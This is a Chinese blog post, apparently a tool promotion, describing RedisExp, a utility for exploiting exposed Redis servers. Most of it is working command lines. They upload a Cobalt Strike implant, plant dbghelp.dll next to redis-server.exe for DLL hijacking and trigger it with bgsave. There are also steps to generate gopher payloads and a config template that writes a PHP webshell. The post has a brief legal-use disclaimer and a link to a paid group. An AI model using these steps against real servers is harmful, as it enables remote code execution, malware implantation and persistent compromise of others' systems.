0x01 工具介绍
RedisExp 是一个用于利用 Redis 漏洞的多功能工具，支持执行 Redis 命令、主从复制、DLL/SO 加载、文件上传、计划任务写入、SSH 公钥配置等操作。该工具允许用户通过不同的模块实现远程命令执行、上传恶意文件以及劫持 DLL。它适用于研究 Redis 安全漏洞，仅供合法的安全研究使用，不承担非法用途的责任。
下载链接在文章开头
下载链接
RedisExp下载：RedisExp下载
👉地址 >>>点击直接加入星球获取更多网络安全工具
0x02 功能简介
功能
-
exp.dll 和 exp.so 已经把内容分别加载到 dll.go 和 so.go 可以直接调用。
-
在写入webshell的时候因为有一些特殊字符，可以使用把webshell进行 base64 编码，然后使用 -b 参数来解码
-
有空格的目录或文件同时使用双引号和单引号 “‘a b’”
-
关闭Redis压缩(写入乱码的时候可以关闭压缩，工具在写入shell的时候默认添加了关闭压缩，写入后再恢复开启压缩)
config set rdbcompression no
- stop-writes-on-bgsave-error 默认为 yes, 如果 Redis 开启了 RDB 持久化并且最后一次失败了，Redis 默认会停止写入，让用户意识到数据的持久化没有正常工作。临时的解决方案是 conf set stop-writes-on-bgsave-error 设置为 no，只是让程序暂时忽略了这个问题，但是数据的持久化的问题并没有。（工具会默认设置为 no ，等工具退出的时候再重新设置回原来的值yes）
config set stop-writes-on-bgsave-error no
dll 劫持
利用dbghelp.dll：
上传 cs 马
.\RedisEXP.exe -m upload -r 127.0.0.1 -p 6378 -w 123456 -L 127.0.0.1 -P 2222 -rp c:\users\public -rf test.exe -lf artifact.exe
上传 dbghelp.dll 到 redis-server.exe 所在目录进行劫持
.\RedisEXP.exe -m upload -r 127.0.0.1 -p 6378 -w 123456 -L 127.0.0.1 -P 2222 -rp . -rf dbghelp.dll -lf dbghelp.dll
触发dll劫持
.\RedisEXP.exe -m bgsave -r 127.0.0.1 -p 6378 -w 123456
生成gohper
RedisExp.exe -m gopher -r 目标IP -p 目标端口 -f gopher模板文件
写shell模板
config set dir /tmp
config set dbfilename shell.php
set 'webshell' '<?php phpinfo();?>'
bgsave
报错
工具报错：[ERR Error loading the extension. Please check the server logs.] module load /tmp/exp.s
36万+
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
